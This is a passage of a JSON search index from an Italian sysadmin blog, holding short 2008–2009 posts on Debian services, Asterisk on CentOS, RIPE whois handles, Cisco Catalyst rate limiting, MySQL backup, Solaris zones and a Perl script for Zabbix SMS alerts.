remove\n","permalink":"https://www.deepreflect.net/2009/01/26/debian-service-startup/","summary":"\u003cp\u003eUnder Debian Linux startup files are stored in /etc/init.d/ directory and symbolic linked between /etc/rcX.d/ directory exists. Debian Linux uses System V initialization scripts to start services at boot time from /etc/rcX.d/ directory. Debian Linux comes with different utilities to remove unwanted startup file\u003c/p\u003e\n\u003cp\u003eUsing rcconf:\u003c/p\u003e\n\u003cp\u003eThis tool configures system services in connection with system runlevels. It turns on/off services using the scripts in /etc/init.d/. Rcconf works with System-V style runlevel configuration. It is a TUI(Text User Interface) frontend to the update-rc.d command.\u003c/p\u003e","title":"Debian - Service startup"},{"content":"# dpkg-reconfigure locales\n","permalink":"https://www.deepreflect.net/2009/01/26/debian-change-installation-language/","summary":"\u003cp\u003e\u003ccode\u003e# dpkg-reconfigure locales\u003c/code\u003e\u003c/p\u003e","title":"Debian - Change installation language"},{"content":"Brevemente, come installare Asterisk su CentOS usando yum. Partiamo dal indicare che ufficialmente CentOS nei sui repository non ha i pacchetti di asterisk, quindi è necessario utilizzarne degli altri, in particolare quelli di Trixbox che come ben sapere è basata su questa distribuzione.\nPer primo, installare il plug-in che ci permette di gestire le priorità\n[root@server ~]# yum install yum-priorities\nCreare un file con il seguente contenuto e posizionarlo in /etc/yum.repos.d/ nominandolo con estensione .repo\n[trixbox\\] name=Trixbox - Repo baseurl=http://yum.trixbox.org/centos/5/RPMS/ gpgcheck=0 priority=2 enabled=1 A questo punto è necessario inserire il campo \u0026ldquo;priority=1\u0026rdquo; negli altri .repo presenti nella directory e procedere con l\u0026rsquo;installazione di asterisk soddisfando le dipendenze relative ad esso con il repository di Trixbox per evitare incompatibilità.\n","permalink":"https://www.deepreflect.net/2009/01/03/centos-asterisk/","summary":"\u003cp\u003eBrevemente, come installare Asterisk su CentOS usando yum.\nPartiamo dal indicare che ufficialmente CentOS nei sui repository non ha i pacchetti di asterisk, quindi è necessario utilizzarne degli altri, in particolare quelli di Trixbox che come ben sapere è basata su questa distribuzione.\u003c/p\u003e\n\u003cp\u003ePer primo, installare il plug-in che ci permette di gestire le priorità\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e[root@server ~]# yum install yum-priorities\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eCreare un file con il seguente contenuto e posizionarlo in /etc/yum.repos.d/ nominandolo con estensione .repo\u003c/p\u003e","title":"CentOS - Asterisk"},{"content":"Sicuramente se si lavora a stretto contatto con im mondo IP vi capiterà prima o poi di avere bisogno di un handle presso il database whois del RIPE.\nOgni oggetto specifico del RIPE ha necessità di avere un mantainer dell\u0026rsquo;oggetto stesso, dopo questa breve premessa possiamo andare sul sito del ripe nella sezione whois e iniziare le operazioni:\nhttps://www.db.ripe.net/fcgi-bin/webupdates.pl\nPerson object Create a new object: person person: Leonardo Rizzi (nome completo) address: Via 100 (via e numero civico) address: 00000 Cità (CAP e paese) address: Italy (stato) phone: +39 00 000 000 (numero di telefono) e-mail: lr@deepreflect.net (email) nic-hdl: AUTO-1 (con questo permette di generare automaticamente l\u0026rsquo;handle) changed: lr@deepreflect.net 19780225 (email e data di modifica anno mese giorno) source: RIPE (sorgente dei dati)\nSe tutto è corretto riceverete un messaggio simile: \u0026ldquo;Create SUCCEEDED: [person] LR1000-RIPE Leonardo Rizzi\u0026rdquo;\nMaintainer object Create a new object: mntner mntner: LR-MNT (nome-MNT) description: Maintainer for LR1000-RIPE (qui server una descrizione) admin-c: LR1000-RIPE (la persona creata) auth: MD5-PW password-criptata-md5 (se siete pigri usate webcrypt per generare l\u0026rsquo;hash) mnt-by: LR-MNT (uguale a mntner) referral-by: LR-MNT (uguale a mntner) upd-to: lr@deepreflect.net (email) changed: lr@deepreflect.net 19780225 (email e data di modifica anno mese giorno) source: RIPE\nWhich should result in the following: [mntner] LR-MNT\nProteggere il person object sempre da webupdate cercate -\u0026gt; LR1000-RIPE\naggiungete questi due elementi\nmnt-by: LR-MNT password: password (qui dovete inserire la vostra password in chiaro non l\u0026rsquo;hash)\nA questo punto se non ci sono errore siete presenti nel ripe come persone e mantainer di vuoi stessi.\n","permalink":"https://www.deepreflect.net/2008/12/26/ripe-handle/","summary":"\u003cp\u003eSicuramente se si lavora a stretto contatto con im mondo IP vi capiterà prima o poi di avere bisogno di un handle presso il database whois del RIPE.\u003c/p\u003e\n\u003cp\u003eOgni oggetto specifico del RIPE ha necessità di avere un mantainer dell\u0026rsquo;oggetto stesso, dopo questa breve premessa possiamo andare sul sito del ripe nella sezione whois e iniziare le operazioni:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://www.db.ripe.net/fcgi-bin/webupdates.pl\"\u003ehttps://www.db.ripe.net/fcgi-bin/webupdates.pl\u003c/a\u003e\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003ePerson object\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eCreate a new object: person\nperson: Leonardo Rizzi (nome completo)\naddress: Via 100 (via e numero civico)\naddress: 00000 Cità (CAP e paese)\naddress: Italy (stato)\nphone: +39 00 000 000 (numero di telefono)\ne-mail: \u003ca href=\"mailto:lr@deepreflect.net\"\u003elr@deepreflect.net\u003c/a\u003e (email)\nnic-hdl: AUTO-1 (con questo permette di generare automaticamente l\u0026rsquo;handle)\nchanged: \u003ca href=\"mailto:lr@deepreflect.net\"\u003elr@deepreflect.net\u003c/a\u003e 19780225 (email e data di modifica anno mese giorno)\nsource: RIPE (sorgente dei dati)\u003c/p\u003e","title":"RIPE Handle"},{"content":"Questo è il metodo per fare un sorta di shaping/ratelimit sui catalyst 29xx sul traffico in ingresso su una determinata porta dello switch questo è utile c\u0026rsquo;è la necessità di limitare la banda in upload di un server, su questa serie c\u0026rsquo;è però un limite di step di 1Mbit/s nonstante l\u0026rsquo;immagine Lite o Lanbase il discorso non cambia. Questo sistema non permette di avere una situazione simmetrica quindi il traffico in uscita si può molto molto grezzamente limitare con un\u0026rsquo;altro sistema che descriverò in seguito.\nPrima cosa creare una classmap con associata un acl:\nclass-map match-all M_P00 match access-group name A_P00 Seconda cosa definire la policy, che contiene l\u0026rsquo;associazione alla classmap:\npolicy-map P_P00 class M_P00 police 3000000 64000 exceed-action drop La sintassi è \u0026ldquo;police\u0026rdquo; numero di banda allocata espressa in Bits/s, numero di burst espresso in Bytes poi l\u0026rsquo;azione in caso il limite venga superato nel mio caso sono 3Mbit/s con bust di 62 Kbyte\nTerza cosa associamo la policy alla porta specifica dello switch:\ninterface FastEthernet0/1 service-policy input P_P00 Ultima cosa, l\u0026rsquo;acl ne mio caso seleziona tutto il traffico:\nip access-list extended A_P00 permit ip any any Questo è un sistema grezzo per fare un ratelimit del traffico in uscita dallo switch:\ninterface FastEthernet0/1 srr-queue bandwidth limit 10 La parte numerica della sintassi è espressa in % sulla velocità della porta.\n","permalink":"https://www.deepreflect.net/2008/12/26/cisco-catalyst-shapingratelimit/","summary":"\u003cp\u003eQuesto è il metodo per fare un sorta di shaping/ratelimit sui catalyst 29xx sul traffico in ingresso su una determinata porta dello switch questo è utile c\u0026rsquo;è la necessità di limitare la banda in upload di un server, su questa serie c\u0026rsquo;è però un limite di step di 1Mbit/s nonstante l\u0026rsquo;immagine Lite o Lanbase il discorso non cambia. Questo sistema non permette di avere una situazione simmetrica quindi il traffico in uscita si può molto molto grezzamente limitare con un\u0026rsquo;altro sistema che descriverò in seguito.\u003c/p\u003e","title":"Cisco - Catalyst Shaping/Ratelimit"},{"content":"Per effettuare un backup del singolo database:\nroot@tardis:~# `mysqldump --database dbname \u0026gt; name_db.sql -u root -p` Queste sono opzioni utili:\n\u0026ndash;quick: effettua il dump direttamente sullo standard output; \u0026ndash;add-drop-table: inserisce le istruzioni di eliminare le tabelle esistenti prima di ricrearle; \u0026ndash;add-locks: blocca gli inserimenti; \u0026ndash;lock-tables: blocca la lettura;\nPer fare un restore del singolo database:\nroot@tardis:~# `mysql --one-database dbname \u0026lt; name_db.sql -u root -p ` ","permalink":"https://www.deepreflect.net/2008/12/26/mysql-backup-restore/","summary":"\u003cp\u003ePer effettuare un backup del singolo database:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eroot@tardis:~# `mysqldump --database dbname \u0026gt; name_db.sql -u root -p`\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eQueste sono opzioni utili:\u003c/p\u003e\n\u003cp\u003e\u0026ndash;quick: effettua il dump direttamente sullo standard output;\n\u0026ndash;add-drop-table: inserisce le istruzioni di eliminare le tabelle esistenti prima di ricrearle;\n\u0026ndash;add-locks: blocca gli inserimenti;\n\u0026ndash;lock-tables: blocca la lettura;\u003c/p\u003e\n\u003cp\u003ePer fare un restore del singolo database:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eroot@tardis:~# `mysql --one-database dbname \u0026lt; name_db.sql -u root -p `\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"MySQL Backup \u0026 Restore"},{"content":"Uso Solaris da quasi un anno ma non mi sono mai cimentato nell\u0026rsquo;uso delle famose Zones riassumendo i poche parole giusto per capire di cosa si parla dico: \u0026ldquo;operating system level virtualization\u0026rdquo;\nbash-3.00# zonecfg -z Z01 Z01: No such zone configured Use \u0026#39;create\u0026#39; to begin configuring a new zone. zonecfg:Z01create -b zonecfg:Z01set zonepath=/zones/Z01 zonecfg:Z01exit bash-3.00# zoneadm -z Z01 install Preparing to install zone \u0026lt;Z01\u0026gt;. Creating list of files to copy from the global zone. Copying \u0026lt;115072files to the zone. Initializing zone product registry. Determining zone package initialization order. Preparing to initialize \u0026lt;792packages on the zone. Initialized \u0026lt;792packages on zone. Zone \u0026lt;Z01is initialized. The file \u0026lt;/zones/Z01/root/var/sadm/system/logs/install\\_logcontains a log of the zone installation. bash-3.00# bash-3.00# zonecfg -z Z01 zonecfg:Z01add net zonecfg:Z01set address=10.0.0.1 zonecfg:Z01set physical=hme0 zonecfg:Z01end zonecfg:Z01verify zonecfg:Z01commit zonecfg:Z01exit \u0026gt; bash-3.00# zoneadm -z Z01 boot \u0026gt; bash-3.00# zlogin -C Z01 ","permalink":"https://www.deepreflect.net/2008/12/04/solaris-zones-the-in-the-beginning/","summary":"\u003cp\u003eUso Solaris da quasi un anno ma non mi sono mai cimentato nell\u0026rsquo;uso delle famose Zones riassumendo i poche parole giusto per capire di cosa si parla dico: \u0026ldquo;operating system level virtualization\u0026rdquo;\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-gdscript3\" data-lang=\"gdscript3\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ebash\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e3.00\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e# zonecfg -z Z01\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eZ01: No such zone configured\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eUse \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;create\u0026#39;\u003c/span\u003e to begin configuring a new zone\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ezonecfg:Z01create \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eb\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ezonecfg:Z01set zonepath\u003cspan style=\"color:#f92672\"\u003e=/\u003c/span\u003ezones\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eZ01\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ezonecfg:Z01exit\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ebash\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e3.00\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e# zoneadm -z Z01 install\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePreparing to install zone \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003eZ01\u003cspan style=\"color:#f92672\"\u003e\u0026gt;.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCreating list of files to copy from the global zone\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCopying \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e115072\u003c/span\u003efiles to the zone\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eInitializing zone product registry\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDetermining zone package initialization order\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePreparing to initialize \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e792\u003c/span\u003epackages on the zone\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eInitialized \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e792\u003c/span\u003epackages on zone\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eZone \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003eZ01is initialized\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eThe file \u003cspan style=\"color:#f92672\"\u003e\u0026lt;/\u003c/span\u003ezones\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eZ01\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eroot\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003evar\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003esadm\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003esystem\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003elogs\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003einstall\\_logcontains a log of the zone installation\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ebash\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e3.00\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e#\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ebash\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e3.00\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e# zonecfg -z Z01\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ezonecfg:Z01add net\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ezonecfg:Z01set address\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e10.0\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0.1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ezonecfg:Z01set physical\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003ehme0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ezonecfg:Z01end\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ezonecfg:Z01verify\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ezonecfg:Z01commit\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ezonecfg:Z01exit\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ebash\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e3.00\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e# zoneadm -z Z01 boot\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ebash\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e3.00\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e# zlogin -C Z01\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"Solaris - Zones, In the Beginning"},{"content":"\nUna suggestiva veduta da una finestra della stazione di Milano Bovisa.\n","permalink":"https://www.deepreflect.net/2008/11/30/milano-in-inverno/","summary":"\u003cp\u003e\u003ca href=\"/wp-content/uploads/2008/11/28112008.jpg\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2008/11/28112008-300x225.jpg\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eUna suggestiva veduta da una finestra della stazione di Milano Bovisa.\u003c/p\u003e","title":"Milano in inverno"},{"content":"Oggi durante una serie di comandi con un senso ben preciso Solaris mi ha parlato in questo modo:\nSorry, I don't know anything about your \u0026quot;xterm-color\u0026quot; terminal.\nLa perplessità generale mi ha fatto lanciare questo comando:\nbash-3.00# export TERM=vt100\nMa molto probabilmente sarebbe stato meglio un terminale \u0026ldquo;ansi\u0026rdquo;\n","permalink":"https://www.deepreflect.net/2008/11/24/sorry-i-dont-know-anything-about-your-xterm-color-terminal/","summary":"\u003cp\u003eOggi durante una serie di comandi con un senso ben preciso Solaris mi ha parlato in questo modo:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eSorry, I don't know anything about your \u0026quot;xterm-color\u0026quot; terminal.\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eLa perplessità generale mi ha fatto lanciare questo comando:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003ebash-3.00#  export TERM=vt100\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eMa molto probabilmente sarebbe stato meglio un terminale \u0026ldquo;ansi\u0026rdquo;\u003c/p\u003e","title":"Sorry, I don't know anything about your \"xterm-color\" terminal."},{"content":"Un netmonitor, non è un vero netmonitor se non fa squillare il telefono del sysadmin con un sms almeno 3 volte a notte, ecco qui uno script in perl per interfacciare zabbix con il servizio fornito da Mobyt tramite un POST http su un loro gateway, con qualche aggiustatina può essere usato anche con altri servizi analoghi.\n#!/usr/bin/perl # Leonardo Rizzi # Version 0.3 # SMS sent throuth Mobyt gateway # Designed for use without ip autentication only MD5 Hash # Attention: there aren\u0026#39;t any check but message limit is of 160 charaters. use Digest::MD5 qw(md5_hex); use strict; use LWP::UserAgent; use HTTP::Request::Common qw(POST); my ($operation, $qty, $rcpt, $query, $out, $ua, $ok, $ko, $data, $from); my ($code, $id, $password); $id=\u0026#34;username\u0026#34;; $password=\u0026#34;password\u0026#34;; $ok=\u0026#39;SMS Sent Correctly\u0026#39;; $ko=\u0026#39;SMS Not Sent\u0026#39;; $from= $ARGV[1]; $operation=\u0026#34;TEXT\u0026#34;; $qty = \u0026#39;h\u0026#39;; #attention this fuking provider don\u0026#39;t accept 00 for international area code only + if you use 00 you get sent error $rcpt = $ARGV[0]; $data = $ARGV[2]; $code = join \u0026#39;\u0026#39;, $id,$operation,$rcpt,$from,$data,$password; my $ticket=md5_hex($code); $ua = new LWP::UserAgent; $ua-\u0026gt;agent(\u0026#34;SMS_MD5_Relay/0.2 \u0026#34; . $ua-\u0026gt;agent); my $req = POST \u0026#39;http://smsweb.mobyt.it/sms-gw/sendsmart\u0026#39;, [ id =$id, operation =\u0026#39;TEXT\u0026#39;, rcpt =$rcpt, from =$from, data =$data, qty =$qty, ticket=$ticket ]; my $res=$ua-\u0026gt;request($req); if ($res-\u0026gt;content =~ /^OK/) { fine_ok (); } else { fine_ko (); } exit; sub fine_ko () { my $msg=shift; print \u0026#34;$ko\\n\u0026#34;; exit (1); } sub fine_ok () { my $msg=shift; print \u0026#34;$ok\\n\u0026#34;; exit (1); } ","permalink":"https://www.deepreflect.net/2008/11/21/zabbix-sms-allert/","summary":"\u003cp\u003eUn netmonitor, non è un vero netmonitor se non fa squillare il telefono del sysadmin con un sms almeno 3 volte a notte, ecco qui uno script in perl per interfacciare zabbix con il servizio fornito da Mobyt tramite un POST http su un loro gateway, con qualche aggiustatina può essere usato anche con altri servizi analoghi.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e#!/usr/bin/perl\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e# Leonardo Rizzi\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e# Version 0.3\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e# SMS sent throuth Mobyt gateway\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e# Designed for use without ip autentication only MD5 Hash\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e# Attention: there aren\u0026#39;t any check but message limit is of 160 charaters.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003euse Digest::MD5  qw(md5_hex);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003euse strict;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003euse LWP::UserAgent;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003euse HTTP::Request::Common qw(POST);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003emy ($operation, $qty, $rcpt, $query, $out, $ua, $ok, $ko, $data, $from);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003emy ($code, $id, $password);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$id=\u0026#34;username\u0026#34;;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$password=\u0026#34;password\u0026#34;;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$ok=\u0026#39;SMS Sent Correctly\u0026#39;;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$ko=\u0026#39;SMS Not Sent\u0026#39;;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$from= $ARGV[1];\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$operation=\u0026#34;TEXT\u0026#34;;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$qty = \u0026#39;h\u0026#39;;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e#attention this fuking provider don\u0026#39;t accept 00 for international area code only + if you use 00 you get sent error\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$rcpt = $ARGV[0];\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$data = $ARGV[2];\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$code = join \u0026#39;\u0026#39;, $id,$operation,$rcpt,$from,$data,$password;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003emy $ticket=md5_hex($code);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$ua = new LWP::UserAgent;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$ua-\u0026gt;agent(\u0026#34;SMS_MD5_Relay/0.2 \u0026#34; . $ua-\u0026gt;agent);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003emy $req = POST \u0026#39;http://smsweb.mobyt.it/sms-gw/sendsmart\u0026#39;,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eid =$id,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eoperation =\u0026#39;TEXT\u0026#39;,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ercpt =$rcpt,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003efrom =$from,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edata =$data,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eqty =$qty,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eticket=$ticket\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e];\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003emy $res=$ua-\u0026gt;request($req);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eif ($res-\u0026gt;content =~ /^OK/)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e{\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003efine_ok (); }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eelse\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e{ fine_ko (); }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eexit;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esub fine_ko () {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003emy $msg=shift;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eprint \u0026#34;$ko\\n\u0026#34;;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eexit (1);\n\u003c/span\u003e\u003c/span\u003e\u003cspan 